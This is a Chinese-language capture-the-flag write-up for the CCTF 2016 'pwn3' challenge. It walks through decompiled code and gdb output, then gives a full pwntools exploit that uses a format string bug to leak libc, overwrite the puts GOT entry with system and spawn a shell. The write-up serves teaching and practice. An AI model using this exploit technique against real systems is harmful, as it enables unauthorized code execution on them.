1.pwn3
题目下载,FORK自CTFWIKI
emmm经过菜鸡的无限自闭大法。结合师兄的无私指教,终于把这题弄懂了
用IDA打开的时候出现了一点意外,我也不知道什么叫作盗版的IDA生成的数据库
image.png
后来直接生成的c代码文件
代码连接
经过分析,程序分为五个大块。main函数,验证身份函数,put_file函数,get_file函数,show_dir函数
是一个需要验证身份的ftp连接程序。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int v3; // eax
int v4; // [esp+14h] [ebp-2Ch]
int v5; // [esp+3Ch] [ebp-4h]
setbuf(stdout, 0);
ask_username((char *)&v4);
ask_password((char *)&v4);
while ( 1 )
{
while ( 1 )
{
print_prompt();
v3 = get_command();
v5 = v3;
if ( v3 != 2 )
break;
put_file();
}
if ( v3 == 3 )
{
show_dir();
}
else
{
if ( v3 != 1 )
exit(1);
get_file();
}
}
}
看到主函数,这里先进行了ask_username和ask_password的函数进行验证身份。再选择操作,根据操作来进行put_file,showdir,get_file的操作。
//----- (0804894B) --------------------------------------------------------
char *__cdecl ask_username(char *dest)
{
char src[40]; // [esp+14h] [ebp-34h]
int i; // [esp+3Ch] [ebp-Ch]
puts("Connected to ftp.hacker.server");
puts("220 Serv-U FTP Server v6.4 for WinSock ready...");
printf("Name (ftp.hacker.server:Rainism):");
__isoc99_scanf("%40s", src);
for ( i = 0; i <= 39 && src[i]; ++i )
++src[i];
return strcpy(dest, src);
}
// 8048550: using guessed type int __isoc99_scanf(const char *, ...);
// 804894B: using guessed type char src[40];
//----- (080489D6) --------------------------------------------------------
int __cdecl ask_password(char *s1)
{
if ( strcmp(s1, "sysbdmin") )
{
puts("who you are?");
exit(1);
}
return puts("welcome!");
}
这里验证身份处的两个函数,是对你输入的src进行每一个字符的+1处理,再与“sysbdmin"进行对比所以在
tmp = 'sysbdmin'
name = ""
for i in tmp:
name += chr(ord(i) - 1)
此位置构造的脚本
signed int get_command()
{
char s1; // [esp+1Ch] [ebp-Ch]
__isoc99_scanf("%3s", &s1);
if ( !strncmp(&s1, "get", 3u) )
return 1;
if ( !strncmp(&s1, "put", 3u) )
return 2;
if ( !strncmp(&s1, "dir", 3u) )
return 3;
return 4;
}
然后就进行选择操作,根据get_command()的函数中,可以发现进入选择只有get,put,dir,对应的操作就是get_file,put_file,dir_show。
//----- (080487F6) --------------------------------------------------------
int get_file()
{
char dest; // [esp+1Ch] [ebp-FCh]
char s1; // [esp+E4h] [ebp-34h]
char *i; // [esp+10Ch] [ebp-Ch]
printf("enter the file name you want to get:");
__isoc99_scanf("%40s", &s1);
if ( !strncmp(&s1, "flag", 4u) )
puts("too young, too simple");
for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
{
if ( !strcmp(i, &s1) )
{
strcpy(&dest, i + 0x28);
return printf(&dest);
}
}
return printf(&dest);
}
//----- (080486E7) --------------------------------------------------------
int show_dir()
{
int v0; // eax
char s[1024]; // [esp+14h] [ebp-414h]
int i; // [esp+414h] [ebp-14h]
int j; // [esp+418h] [ebp-10h]
int v5; // [esp+41Ch] [ebp-Ch]
v5 = 0;
j = 0;
bzero(s, 0x400u);
for ( i = file_head; i; i = *(_DWORD *)(i + 240) )
{
for ( j = 0; *(_BYTE *)(i + j); ++j )
{
v0 = v5++;
s[v0] = *(_BYTE *)(i + j);
}
}
return puts(s);
}
经过分析,file_head在get_file输入时会保存在get_file函数中s1的地址,并在show_dir函数中将get_file赋给s,输出s,那么我们就可以在尝试将got表中puts函数替换成sys函数。
思路:
通过密码
确认格式化地址偏移,获取puts地址
got表换取libc.so版本,获取system地址
将puts地址内容修改为system
修改file_head指向/bin/sh
show_dir执行puts,等同system("/bin/sh“)
gdb断点调试,获得字符串漏洞偏移
gdb-peda$ b *0x0804889E
Breakpoint 1 at 0x804889e
gdb-peda$ r
Starting program: /mnt/hgfs/CTF/share/pwn/ctf-challenges/pwn/fmtstr/2016-CCTF-pwn3/pwn3
Connected to ftp.hacker.server
220 Serv-U FTP Server v6.4 for WinSock ready...
Name (ftp.hacker.server:Rainism):rxraclhm
welcome!
ftp>get
enter the file name you want to get:1111
[----------------------------------registers-----------------------------------]
EAX: 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>: add esp,0x10)
EBX: 0x0
ECX: 0x66 ('f')
EDX: 0xffffce04 ("1111")
ESI: 0xf7fb4000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xffffce38 --> 0xffffce88 --> 0x0
ESP: 0xffffcd20 --> 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>: add esp,0x10)
EIP: 0x804889e (: call 0x80484c0 )
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048893 : jne 0x8048853
0x8048895 : lea eax,[ebp-0xfc]
0x804889b : mov DWORD PTR [esp],eax
=> 0x804889e : call 0x80484c0
0x80488a3 : leave
0x80488a4 : ret
0x80488a5 : push ebp
0x80488a6 : mov ebp,esp
Guessed arguments:
arg[0]: 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>: add esp,0x10)
[------------------------------------stack-------------------------------------]
0000| 0xffffcd20 --> 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>: add esp,0x10)
0004| 0xffffcd24 --> 0x8048baa ("flag")
0008| 0xffffcd28 --> 0x4
0012| 0xffffcd2c --> 0xf7ffd000 --> 0x26f34
0016| 0xffffcd30 --> 0x0
0020| 0xffffcd34 --> 0xf7fb4dc7 --> 0xfb58900a
0024| 0xffffcd38 --> 0x1
0028| 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0804889e in get_file ()
gdb-peda$ fmtarg 0xffffcd3c
The index of format argument : 7
exp.py
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
pwn3 = ELF('./pwn3')
if args['REMOTE']:
sh = remote('111', 111)
else:
sh = process('./pwn3')
def get(name):
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline(name)
data = sh.recv()
return data
def put(name, content):
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline(name)
sh.recvuntil('then, enter the content:')
sh.sendline(content)
def show_dir():
sh.sendline('dir')
tmp = 'sysbdmin'
name = ""
for i in tmp:
name += chr(ord(i) - 1)
# password
def password():
sh.recvuntil('Name (ftp.hacker.server:Rainism):')
sh.sendline(name)
#通过密码验证
password()
#获取puts地址
puts_got = pwn3.got['puts']
log.success('puts got : ' + hex(puts_got))
#格式化字符串漏洞执行
put('1111', '%8$s' + p32(puts_got))
puts_addr = u32(get('1111')[:4])
# 获取libc.so版本,根据sys和puts的相对偏移来换取对应的sys地址
libc = LibcSearcher("puts", puts_addr)
system_offset = libc.dump('system')
puts_offset = libc.dump('puts')
system_addr = puts_addr - puts_offset + system_offset
log.success('system addr : ' + hex(system_addr))
# 将puts替换成sys
payload = fmtstr_payload( 7,{puts_got: system_addr})
put('/bin/sh;', payload)
sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
#get中替换file_head
sh.sendline('/bin/sh;')
# 执行system('/bin/sh')
show_dir()
#获取shell
sh.interactive()
获取成功
image.png